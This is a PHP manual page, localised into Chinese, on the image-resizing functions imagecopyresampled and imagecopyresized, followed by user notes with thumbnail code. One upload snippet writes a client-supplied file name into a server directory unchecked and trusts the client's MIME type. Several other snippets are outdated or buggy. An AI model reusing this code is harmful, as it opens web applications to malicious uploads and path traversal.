imagepng($imgOut,"[out]");
echo "Image created successfully: $outWidth x $outHeight, ".round(filesize("[source]")/1024)." KB<br>";
imagedestroy($imgSrc);
imagedestroy($imgOut);
?>
I just use this as a loop to create thumbnails for a series of ordered images.
phpman at paodj dot net
20-Jul-2005 06:27
<?php

function img_resize($path,$w=0,$h=0,$quality=100,$save=''){

  $image_data=@getimagesize($path);

  $image_type=$image_data[2];
  $gd_ext=array('','jpg','gif');
  if($image_type!=1&&$image_type!=2) return false;
  if($save=='') header('Content-type: '.$image_data['mime']); else $save=eregi_replace('%ext',$gd_ext[$image_type],$save);

  if($w!=0){
   $rapporto=$image_data[0]/$w;
   if($h!=0){
     if($image_data[1]/$rapporto>$h) $rapporto=$image_data[1]/$h;
   }
  }elseif($h!=0){
   $tmp_h=$image_data[1]/$h;
  }else{
   return false;
  }

  $thumb_w=$image_data[0]/$rapporto;
  $thumb_h=$image_data[1]/$rapporto;

  if($image_type==1) $img_src=@imagecreatefromgif($path);
  elseif($image_type==2) $img_src=@imagecreatefromjpeg($path);

  $img_thumb=@imagecreatetruecolor($thumb_w,$thumb_h);
  $result=@imagecopyresampled($img_thumb,$img_src,
0,0,0,0,$thumb_w,$thumb_h,$image_data[0],$image_data[1]);
  if(!$img_src||!$img_thumb||!$result) return false;

  if($image_type==1) $result=@imagegif($img_thumb,$save);
  elseif($image_type==2) $result=@imagejpeg($img_thumb,$save,$quality);

  return $result;
}

?>

This script resize images. It can also make thumbs. It use the resample of images for hight quality result.

It can show the result or save it (if $save isn't null).
It respect the width and/or the height of image.
It can replace the destination file extestion dinamically (filename.%ext)
Support gif & jpg.

Return false if something goes wrong.
05-Jul-2005 08:46
It should be noted that the imagecopyresampled() function is much more blurry than Photoshop CS's default bicubic funtion. And looks similar to a blury version of Photoshop's bilinear function. The documentation fails to note which algorithm is used in resampling.
Pie pie
26-May-2005 08:21
Confirming on what fluffle said, and to say his code will also crop and resize an image what is smaller than 100x100 pixels if you want. This is important because it means your images no matter how you decide to rezise them, will maintain their aspect ratios and with a minimum amount of image loss.

   //Get file type
   $mime = $orig_image_mimetype;
   $type = substr($mime, strpos($mime,'/')+1);
   switch($type) {
       case 'jpeg':
       case 'pjpeg':
           $big = imagecreatefromjpeg($file);
           break;
       case 'png':
       case 'x-png':
           $big = imagecreatefrompng($file);
             break;
       case 'gif':
           $big = imagecreatefromgif($file);
           break;
       default:
           return FALSE;
           break;
   }

The above code is what I use to support multiple file type resizing. I then use the same thing again when it's time to output the image using $result = imagejpeg($thumb,'',80), imagepng($thumb), and imagegif($thumb).
fluffle <at> gmail <dot> com
21-May-2005 04:35
Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

list($ow, $oh) = getimagesize($image_filename);
$big = imagecreatefromjpeg($image_filename);
$thumb = imagecreatetruecolor(100,100);
if ($ow > $oh) {
   $off_w = ($ow-$oh)/2;
   $off_h = 0;
   $ow = $oh;
} elseif ($oh > $ow) {
   $off_w = 0;
   $off_h = ($oh-$ow)/2;
   $oh = $ow;
} else {
   $off_w = 0;
   $off_h = 0;
}
imagecopyresampled($thumb, $big, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);
carnivorous_winds_fr AT yahoo DOT fr
19-May-2005 01:47
I tried this code from a previous post.

<?
...
         $t_im = imageCreateTrueColor($t_wd,$t_ht);
         imageAntiAlias($t_im,true);
         imagealphablending($t_im, false);
         imagesavealpha($t_im,true);
         $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 0);
         for($x=0;$x<$t_wd;$x++) {
           for($y=0;$y<$t_ht;$y++) {
             imageSetPixel( $t_im, $x, $y, $transparent );
           }
         }
         imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
         imagePNG($t_im, $image_name);
...
?>

It seems that it is not working correctly. In my test the source picture in ImageCopyResampled() is smaller than the destination picture $t_im, the remaining part is white !

I changed transparent alpha channel to 127, and I tried to replace loops with imagefilledrectangle().

It works fine and these resource greedy loops are removed.

Here is the code with my change.

<?
...
         $t_im = imageCreateTrueColor($t_wd,$t_ht);
         imageAntiAlias($t_im,true);
         imagealphablending($t_im, false);
         imagesavealpha($t_im,true);
         $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 127);
         imagefilledrectangle($t_img, 0, 0, $t_wd, $t_ht, $transparent);
         imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
         imagePNG($t_im, $image_name);
...
?>
del at kartoon dot net
05-May-2005 04:38
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
djneoform at gmail dot com
04-Mar-2005 10:21
Here's a function i made that will force a given set of constraints on an image (usrfull if you want to make thumbnails that are all the same size) while keeping aspect ratio.

It resizes, then crops the extra off the top or bottom.

function forceConstraints($srcFile, $srcType, $dstType, $dstWidth, $dstHeight, $dstPath)
{
   if ($srcType == "image/jpeg")
       $handle = @imagecreatefromjpeg($srcFile);
   else if ($srcType == "image/png")
       $handle = @imagecreatefrompng($srcFile);
   else if ($srcType == "image/gif")
       $handle = @imagecreatefromgif($srcFile);
   else
       return false;

   if (!$handle)
       return false;

   $srcWidth  = @imagesx($handle);
   $srcHeight = @imagesy($handle);

   if ($srcWidth >= $dstWidth && $srcHeight >= $dstHeight)
   {
       $newHandle = @imagecreatetruecolor($dstWidth, $dstHeight);
       if (!$newHandle)
           return false;

       if($srcHeight < $srcWidth)
       {
           $ratio = (double)($srcHeight / $dstHeight);

           $cpyWidth = round($dstWidth * $ratio);
           if ($cpyWidth > $srcWidth)
           {
               $ratio = (double)($srcWidth / $dstWidth);
               $cpyWidth = $srcWidth;
               $cpyHeight = round($dstHeight * $ratio);
               $xOffset = 0;
               $yOffset = round(($srcHeight - $cpyHeight) / 2);
           } else {
               $cpyHeight = $srcHeight;
               $xOffset = round(($srcWidth - $cpyWidth) / 2);
               $yOffset = 0;
           }

       } else {
           $ratio = (double)($srcWidth / $dstWidth);

           $cpyHeight = round($dstHeight * $ratio);
           if ($cpyHeight > $srcHeight)
           {
               $ratio = (double)($srcHeight / $dstHeight);
               $cpyHeight = $srcHeight;
               $cpyWidth = round($dstWidth * $ratio);
               $xOffset = round(($srcWidth - $cpyWidth) / 2);
               $yOffset = 0;
           } else {
               $cpyWidth = $srcWidth;
               $xOffset = 0;
               $yOffset = round(($srcHeight - $cpyHeight) / 2);
           }
       }

       if (!@imagecopyresampled($newHandle, $handle, 0, 0, $xOffset, $yOffset, $dstWidth, $dstHeight, $cpyWidth, $cpyHeight))
           return false;
       @imagedestroy($handle);

       if ($dstType == "png")
           @imagepng($newHandle, $dstPath.".png");
       else if ($dstType == "jpg")
           @imagejpeg($newHandle, $dstPath.".jpg", 90);
       else if ($dstType == "gif")
           @imagegif($newHandle, $dstPath.".gif");
       else
           return false;
       @imagedestroy($newHandle);
       return true;

   } else {
       return "Sorry, that image is too small. The image must be at least ".$dstWidth."x".$dstHeight." pixels in size.";
   }
}
afrowuk at tiscali dot co dot uk
02-Jan-2005 11:17
This simple function resizes a JPG image file giving just a maximum width, and resizes keeping the aspect ratio. This is useful if you have to resize a JPG image that must fit the width of i.e. a div element, but doesn't have to have a maximum height.
<?
function resizeJPG($jpgFile, $width) {

   // Get new dimensions
   list($width_orig, $height_orig) = getimagesize($jpgFile);
   $height = (int) (($width / $width_orig) * $height_orig);

   // Resample
   $image_p = imagecreatetruecolor($width, $height);
   $image = imagecreatefromjpeg($jpgFile);
   imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

   // Output
   imagejpeg($image_p, $jpgFile, 100);

}
?>

-Stu
stemplar444 at yahoo dot com
12-Aug-2004 01:57
Two comments regarding imageCopyResampleBicubic() published here.

Quality:
More grainy than imagecopyresampled(). Not very good for bigger destination images, I think.

Speed:
In my tests, it was only faster if destination size was smaller than ~200x200 pixel. The function becomes slower and slower the bigger the destination image gets. In contrast, imagecopyresampled() finished at the same speed, no matter how big the destination was. My source image resoloution ~ 1500x2000 pixel.
ron at korving dot demon dot nl
08-Aug-2004 05:25
This Bicubic resample algorithm is based on the one Scott posted earlier, only this one is about 50% faster for truecolor images and about 10% faster for palette images.

<?

function imageCopyResampleBicubic($dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)
{
  $scaleX = ($src_w - 1) / $dst_w;
  $scaleY = ($src_h - 1) / $dst_h;

  $scaleX2 = $scaleX / 2.0;
  $scaleY2 = $scaleY / 2.0;

  $tc = imageistruecolor($src_img);

  for ($y = $src_y; $y < $src_y + $dst_h; $y++)
  {
   $sY  = $y * $scaleY;
   $siY  = (int) $sY;
   $siY2 = (int) $sY + $scaleY2;

   for ($x = $src_x; $x < $src_x + $dst_w; $x++)
   {
     $sX  = $x * $scaleX;
     $siX  = (int) $sX;
     $siX2 = (int) $sX + $scaleX2;

     if ($tc)
     {
       $c1 = imagecolorat($src_img, $siX, $siY2);
       $c2 = imagecolorat($src_img, $siX, $siY);
       $c3 = imagecolorat($src_img, $siX2, $siY2);
       $c4 = imagecolorat($src_img, $siX2, $siY);

       $r = (($c1 + $c2 + $c3 + $c4) >> 2) & 0xFF0000;
       $g = ((($c1 & 0xFF00) + ($c2 & 0xFF00) + ($c3 & 0xFF00) + ($c4 & 0xFF00)) >> 2) & 0xFF00;
       $b = ((($c1 & 0xFF)  + ($c2 & 0xFF)  + ($c3 & 0xFF)  + ($c4 & 0xFF))  >> 2);

       imagesetpixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b);
     }
     else
     {
       $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
       $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
       $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
       $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

       $r = ($c1['red']  + $c2['red']  + $c3['red']  + $c4['red']  ) << 14;
       $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
       $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;

       imagesetpixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b);
     }
   }
  }
}

?>
16-Jul-2004 08:09
In add to all the posts that describes how to create thumbnails:

If you are trying to resample a png image with its transparency you need to do this workaround:

<?
...
         $t_im = imageCreateTrueColor($t_wd,$t_ht);
         imageAntiAlias($t_im,true);
         imagealphablending($t_im, false);
         imagesavealpha($t_im,true);
         $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 0);
         for($x=0;$x<$t_wd;$x++) {
           for($y=0;$y<$t_ht;$y++) {
             imageSetPixel( $t_im, $x, $y, $transparent );
           }
         }
         imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
         imagePNG($t_im, $image_name);
...
?>

The alphablending must be off so the imagesavealpha can be true.

The double FORs is need to fix the problem with imagefill function that not support colors with alpha setted.

It is TO SLOWLIER than imagefill, but do a nice work with static images.

Take a look and enjoy the nice result.

(this workaround needs the gd2 library)

[s]
Pigmeu
m.kumar [at] gmx.at
31-Aug-2001 12:10
For those who think that resampling loads the server too badly, have a look at this fine article over at zend:

http://www.zend.com/zend/art/scriptcaching.php

it describes how to create static html from scripts, however, this technique is pretty easily applicable to images.

I've written a short script to outline how to adapt my above mentioned article for caching of thumbnails. see:
http://tzu.nme.at/php/cache.phps
add a note add a note

后退 | 起点 | 前进
imagecopymergegray | 上一级 | imagecopyresized


imagecopyresized

(PHP 3, PHP 4, PHP 5)

imagecopyresized -- 拷贝部分图像并调整大小

说明

bool imagecopyresized ( resource dst_image, resource src_image, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h )

imagecopyresized() 将一幅图像中的一块正方形区域拷贝到另一个图像中。dst_image 和 src_image 分别是目标图像和源图像的标识符。如果源和目标的宽度和高度不同，则会进行相应的图像收缩和拉伸。坐标指的是左上角。本函数可用来在同一幅图内部拷贝（如果 dst_image 和 src_image 相同的话）区域，但如果区域交迭的话则结果不可预知。

注: 因为调色板图像限制（255+1 种颜色）有个问题。重采样或过滤图像通常需要多于 255 种颜色，计算新的被重采样的像素及其颜色时采用了一种近似值。对调色板图像尝试分配一个新颜色时，如果失败我们选择了计算结果最接近（理论上）的颜色。这并不总是视觉上最接近的颜色。这可能会产生怪异的结果，例如空白（或者视觉上是空白）的图像。要跳过这个问题，请使用真彩色图像作为目标图像，例如用 imagecreatetruecolor() 创建的。

范例

例子 1. 调整图像大小

本例将以原来的一半大小显示图像。

<?php
// File and new size
$filename = 'test.jpg';
$percent = 0.5;

// Content type
header('Content-type: image/jpeg');

// Get new sizes
list($width, $height) = getimagesize($filename);
$newwidth = $width * $percent;
$newheight = $height * $percent;

// Load
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefromjpeg($filename);

// Resize
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

// Output
imagejpeg($thumb);
?>

图像将以一半大小输出，不过可以用 imagecopyresampled() 得到更好的质量。

参见

imagecopyresampled()

add a note add a note User Contributed Notes
06madsenl at westseneca dot wnyric dot org
21-Apr-2006 09:05
I was fiddling with this a few days trying to figure out how to resize the original images on my website, but this site:

http://www.sitepoint.com/article/image-resizing-php

Has a great tutorial on using PHP to resize images without creating thumbnails.  It was exactly what I was looking to do.
konteineris at yahoo dot com
16-Feb-2006 10:42
Function creates a thumbnail from the source image, resizes it so that it fits the desired thumb width and height or fills it grabbing maximum image part and resizing it, and lastly writes it to destination

<?

function thumb($filename, $destination, $th_width, $th_height, $forcefill)
{
   list($width, $height) = getimagesize($filename);

   $source = imagecreatefromjpeg($filename);

   if($width > $th_width || $height > $th_height){
     $a = $th_width/$th_height;
     $b = $width/$height;

     if(($a > $b)^$forcefill)
     {
         $src_rect_width  = $a * $height;
         $src_rect_height = $height;
         if(!$forcefill)
         {
           $src_rect_width = $width;
           $th_width = $th_height/$height*$width;
         }
     }
     else
     {
         $src_rect_height = $width/$a;
         $src_rect_width  = $width;
         if(!$forcefill)
         {
           $src_rect_height = $height;
           $th_height = $th_width/$width*$height;
         }
     }

     $src_rect_xoffset = ($width - $src_rect_width)/2*intval($forcefill);
     $src_rect_yoffset = ($height - $src_rect_height)/2*intval($forcefill);

     $thumb  = imagecreatetruecolor($th_width, $th_height);
     imagecopyresized($thumb, $source, 0, 0, $src_rect_xoffset, $src_rect_yoffset, $th_width, $th_height, $src_rect_width, $src_rect_height);

     imagejpeg($thumb,$destination);
   }
}

?>
jesse at method studios
05-Oct-2005 03:07
imagecopyresized() does not do any resampling.  This makes it extremely quick.  If quality is an issue, use imagecopyresampled().
MaLaZ
12-Aug-2005 10:24
simple script for creating thumbnails with process information and saving original ratio thumbnail to new destination...good then useing with upload or uploaded images:

<?php

//Upload------------------------------------
if(isset( $submit ))
{
if ($_FILES['imagefile']['type'] == "image/jpeg"){
   copy ($_FILES['imagefile']['tmp_name'], "../images/".$_FILES['imagefile']['name'])
   or die ("Could not copy");
       echo "";
       echo "Image Name: ".$_FILES['imagefile']['name']."";
       echo "<br>Image Size: ".$_FILES['imagefile']['size']."";
       echo "<br>Image Type: ".$_FILES['imagefile']['type']."";
       echo "<br>Image Copy Done....<br>";
       }
         else {
           echo "<br><br>";
           echo "bad file type (".$_FILES['imagefile']['name'].")<br>";exit;
             }
//-----upload end

//------start thumbnailer

   $thumbsize=120;
   echo "Thumbnail Info: <br>
         1.Thumb defined size: - OK: $thumbsize<br>";
   $imgfile = "../images/$imagefile_name";//processed image
   echo "
         2.Image destination: - OK: $imgfile<br>";
   header('Content-type: image/jpeg');
   list($width, $height) = getimagesize($imgfile);
   echo "3.Image size - OK: W=$width x H=$height<br>";
   $imgratio=$width/$height;
   echo "3.Image ratio - OK: $imgratio<br>";
   if ($imgratio>1){
     $newwidth = $thumbsize;
     $newheight = $thumbsize/$imgratio;}
   else{
     $newheight = $thumbsize;
     $newwidth = $thumbsize*$imgratio;}
   echo "4.Thumb new size -OK: W=$newwidth x H=$newheight<br>";
   $thumb = ImageCreateTrueColor($newwidth,$newheight);
   echo "5.TrueColor - OK<br>";
   $source = imagecreatefromjpeg($imgfile);
   echo "6.From JPG - OK<br>";
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
   imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);echo "7.Done... - OK<br>";
//-----------end--------------
?>

or without any info, just resizing:

<?php
//------start thumbnailer
   $thumbsize=120;
   $imgfile = "../images/$imagefile_name";
   header('Content-type: image/jpeg');
   list($width, $height) = getimagesize($imgfile);
   $imgratio=$width/$height;
   if ($imgratio>1){
     $newwidth = $thumbsize;
     $newheight = $thumbsize/$imgratio;}
   else{
     $newheight = $thumbsize;
     $newwidth = $thumbsize*$imgratio;}
   $thumb = ImageCreateTrueColor($newwidth,$newheight);
   $source = imagecreatefromjpeg($imgfile);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);
//-----------end--------------
?>

i hope it helps.
FearINC at gmail dot com
11-Aug-2005 01:35
I wrote a function not long ago that creates a thumbnail out of a large picture. Unlike other notes on this page, the code is a function so it can be used many times on the same script. The function allows the programer to set max height and width and resizes the picture proportionally.
<?php
function saveThumbnail($saveToDir, $imagePath, $imageName, $max_x, $max_y) {
   preg_match("'^(.*)\.(gif|jpe?g|png)$'i", $imageName, $ext);
   switch (strtolower($ext[2])) {
       case 'jpg' :
       case 'jpeg': $im  = imagecreatefromjpeg ($imagePath);
                     break;
       case 'gif' : $im  = imagecreatefromgif  ($imagePath);
                     break;
       case 'png' : $im  = imagecreatefrompng  ($imagePath);
                     break;
       default    : $stop = true;
                     break;
   }

   if (!isset($stop)) {
       $x = imagesx($im);
       $y = imagesy($im);

       if (($max_x/$max_y) < ($x/$y)) {
           $save = imagecreatetruecolor($x/($x/$max_x), $y/($x/$max_x));
       }
       else {
           $save = imagecreatetruecolor($x/($y/$max_y), $y/($y/$max_y));
       }
       imagecopyresized($save, $im, 0, 0, 0, 0, imagesx($save), imagesy($save), $x, $y);

       imagegif($save, "{$saveToDir}{$ext[1]}.gif");
       imagedestroy($im);
       imagedestroy($save);
   }
}
?>

the function for now takes only jpg,gif and png files, but that can easily be changed.
It's an easy to use easy to understand function and I hope it will come useful to someone.
mecdesign at hotmail dot com
08-Aug-2005 05:51
This code will resize your images if your image needs to fit (without stretching) into a max height / width destination image that is not a 1:1 ratio (mine was 4:3).

<?
   // Ratios
   $image_ratio = $width / $height; // Actual image's ratio
   $destination_ratio = $max_width / $max_height; // Ratio of dest. placeholder

   // Taller
   if($image_ratio < $destination_ratio)
   {
       //Too tall:
       if($height > $max_height)
       {
           $height = $max_height;
           $width = ceil($height / $image_ratio);
       }
   }
   // Wider / balanced & too wide:
   else if ($width > $max_width)
   {
       $width = $max_width;
       $height = ceil($width / $image_ratio);
   }
?>
saurabh at saurabh dot com
22-Jul-2005 07:57
URGENT!

I am trying to make thumbnails of image(png, jpg, gif)...

Not a single code is working. Do we have to make any changes in php.ini?

which version of gd is required can anybody xplain me whole thing.
brian <dot> tyler <at> gmail <dot> com
12-Jun-2005 06:53
I spent last night getting unsuccessful results from this function until I found this note of fluffle <<at>> gmail on the imagecopyresampled page, I have made a slight modification, so you can just cut and paste.

Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

function ($image_filename, $thumb_location, $image_thumb_size){
//@$image_filename - the filename of the image you want
//to get a thumbnail for (relative to location of this
//function).
//@$thumb_location - the url (relative to location of this
//function) to save the thumbnail.
//@$image_thumb_size - the x-y dimension of your thumb
//in pixels.

   list($ow, $oh) = getimagesize($image_filename);
   $image_original = imagecreatefromjpeg($image_filename);
   $image_thumb = imagecreatetruecolor($image_thumb_size,$image_thumb_size);
if ($ow > $oh) {
   $off_w = ($ow-$oh)/2;
   $off_h = 0;
   $ow = $oh;
} elseif ($oh > $ow) {
   $off_w = 0;
   $off_h = ($oh-$ow)/2;
   $oh = $ow;
} else {
   $off_w = 0;
   $off_h = 0;
}
imagecopyresampled($image_thumb, $image_original, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);

imagejpeg($image_thumb, $thumb_location);
}//end function
no at name dot com
18-May-2005 07:45
I was searching for script, that do not resize on the fly, but copy resized file to other place, so after long searches, i've done this function. I hope it will be usefull for someone:
(This is not original code, i'v taked it from somwhere and edited a ltl :)
<?php
function resize($cur_dir, $cur_file, $newwidth, $output_dir)
{
   $dir_name = $cur_dir;
   $olddir = getcwd();
   $dir = opendir($dir_name);
   $filename = $cur_file;
   $format='';
   if(preg_match("/.jpg/i", "$filename"))
   {
       $format = 'image/jpeg';
   }
   if (preg_match("/.gif/i", "$filename"))
   {
       $format = 'image/gif';
   }
   if(preg_match("/.png/i", "$filename"))
   {
       $format = 'image/png';
   }
   if($format!='')
   {
       list($width, $height) = getimagesize($filename);
       $newheight=$height*$newwidth/$width;
       switch($format)
       {
           case 'image/jpeg':
           $source = imagecreatefromjpeg($filename);
           break;
           case 'image/gif';
           $source = imagecreatefromgif($filename);
           break;
           case 'image/png':
           $source = imagecreatefrompng($filename);
           break;
       }
       $thumb = imagecreatetruecolor($newwidth,$newheight);
       imagealphablending($thumb, false);
       $source = @imagecreatefromjpeg("$filename");
       imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
       $filename="$output_dir/$filename";
       @imagejpeg($thumb, $filename);
   }
}
?>
call this function using
<?
resize("./input folder", "picture_file_name", "width", "./output folder");
?>
del at kartoon dot net
05-May-2005 04:37
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
development at lab-9 dot com
26-Apr-2005 06:35
If you read your Imagedata from a Database Blob and use the functions from above to resize the image to a thumbnail improving a lot of traffic, you will have to make temporary copies of the files in order that the functions can access them

Here a example:

// switch through imagetypes
$extension = "jpg";
if(mysql_result($query, 0, 'type') == "image/pjpeg")
{ $extension = "jpg"; } // overwrite
else if(mysql_result($query, 0, 'type') == "image/gif")
{ $extension = "gif"; } // overwrite

// get a temporary filename
// use microtime() to get a unique filename
// if you request more than one file f.e. by creating large numbers of thumbnails, the server could be not fast enough to save all these different files and you get duplicated copies and resizepics() will resize and output often the same content

$filename = microtime()."_temp.".$extension;

// open
$tempfile = fopen($filename, "w+");

// write
fwrite($tempfile, mysql_result($query, 0, 'image'));

// close
fclose($tempfile);

// resize and output the content
echo resizepics($filename, '100', '70');

// delete temporary file
unlink($filename);

NOTE: this script has to be put into a file which sends correct header informations to the browser, otherwise you won't get more to see than a big red cross :-)
robby at planetargon dot com
28-Feb-2005 11:56
Most of the examples below don't keep the proportions properly. They keep using if/else for the height/width..and forgetting that you might have a max height AND a max width, not one or the other.

/**
* Resize an image and keep the proportions
* @author Allison Beckwith <allison@planetargon.com>
* @param string $filename
* @param integer $max_width
* @param integer $max_height
* @return image
*/
function resizeImage($filename, $max_width, $max_height)
{
   list($orig_width, $orig_height) = getimagesize($filename);

   $width = $orig_width;
   $height = $orig_height;

   # taller
   if ($height > $max_height) {
       $width = ($max_height / $height) * $width;
       $height = $max_height;
   }

   # wider
   if ($width > $max_width) {
       $height = ($max_width / $width) * $height;
       $width = $max_width;
   }

   $image_p = imagecreatetruecolor($width, $height);

   $image = imagecreatefromjpeg($filename);

   imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                                     $width, $height, $orig_width, $orig_height);

   return $image_p;
}
haker4o at haker4o dot org
27-Feb-2005 12:57
<?php
//                      Resize image.
//            Writeen By: Smelban & Haker4o
// Mails smelban@smwebdesigns.com & Haker4o@Haker4o.org
// This code is written to only execute on  jpg,gif,png
// $picname = resizepics('pics', 'new widthmax', 'new heightmax');
// Demo  $picname = resizepics('stihche.jpg', '180', '140');
$picname = resizepics('picture-name.format', '180', '140');
echo $pickname;
//Error
die( "<font color=\"#FF0066\"><center><b>File not exists :(<b></center></FONT>");
//Funcion resizepics
function resizepics($pics, $newwidth, $newheight){
     if(preg_match("/.jpg/i", "$pics")){
           header('Content-type: image/jpeg');
     }
     if (preg_match("/.gif/i", "$pics")){
           header('Content-type: image/gif');
     }
     list($width, $height) = getimagesize($pics);
     if($width > $height && $newheight < $height){
       $newheight = $height / ($width / $newwidth);
     } else if ($width < $height && $newwidth < $width) {
       $newwidth = $width / ($height / $newheight);
     } else {
       $newwidth = $width;
       $newheight = $height;
   }
   if(preg_match("/.jpg/i", "$pics")){
   $source = imagecreatefromjpeg($pics);
   }
   if(preg_match("/.jpeg/i", "$pics")){
   $source = imagecreatefromjpeg($pics);
   }
   if(preg_match("/.jpeg/i", "$pics")){
   $source = Imagecreatefromjpeg($pics);
   }
   if(preg_match("/.png/i", "$pics")){
   $source = imagecreatefrompng($pics);
   }
   if(preg_match("/.gif/i", "$pics")){
   $source = imagecreatefromgif($pics);
   }
   $thumb = imagecreatetruecolor($newwidth, $newheight);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
   return imagejpeg($thumb);
   if(preg_match("/.jpg/i", "$pics")){
   return imagejpeg($thumb);
   }
   if(preg_match("/.jpeg/i", "$pics")){
   return imagejpeg($thumb);
   }
   if(preg_match("/.jpeg/i", "$pics")){
   return imagejpeg($thumb);
   }
   if(preg_match("/.png/i", "$pics")){
   return imagepng($thumb);
   }
   if(preg_match("/.gif/i", "$pics")){
   return imagegif($thumb);
   }
 }
?>
smelban at smwebdesigns dot com
16-Feb-2005 12:37
Resize image proportionaly where you give a max width or max height

<?php
header('Content-type: image/jpeg');
//$myimage = resizeImage('filename', 'newwidthmax', 'newheightmax');
$myimage = resizeImage('test.jpg', '150', '120');
print $myimage;

function resizeImage($filename, $newwidth, $newheight){
   list($width, $height) = getimagesize($filename);
   if($width > $height && $newheight < $height){
       $newheight = $height / ($width / $newwidth);
   } else if ($width < $height && $newwidth < $width) {
       $newwidth = $width / ($height / $newheight);
   } else {
       $newwidth = $width;
       $newheight = $height;
   }
   $thumb = imagecreatetruecolor($newwidth, $newheight);
   $source = imagecreatefromjpeg($filename);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
   return imagejpeg($thumb);
}
?>
finnsi at centrum dot is
13-Feb-2005 09:30
If you need to delete or resize images in the filesystem (not in DB) without loosing the image quality...
I commented the code as much as possible so that newbies (like myself) will understand it.  ;)

<?php

   /*

   WRITTEN BY:
   Finnur Eiriksson, (http://www.centrum.is/finnsi)
   Based on snippets that have been posted on www.PHP.net
   Drop me an e-mail if you have any questions.

   NOTE:
   This code is written to either delete or resize pictures in the file system, so if you have your pictures in a database
   you will have to make some changes. Also, if you are using other picture formats than .gif's or .jpg's you
   will have to add som code as well (Read the comments to find out where to do this).

   IMPORTANT:
   The $_GET['resizepic'] variable only contains the NAME of the file that is going to be deleted/resized.

   The internet guest account (IUSR_SERVERNAME on WINDOWS) must have read and write permissions (execution permission not needed)
   in your image directory (i.e. $dir_name = "FooBar"). It is a good idea to have a separate directory for images that users
   can upload to and manipulate the contents. Ideally, you should have one directory for the pictures that are used for the website,
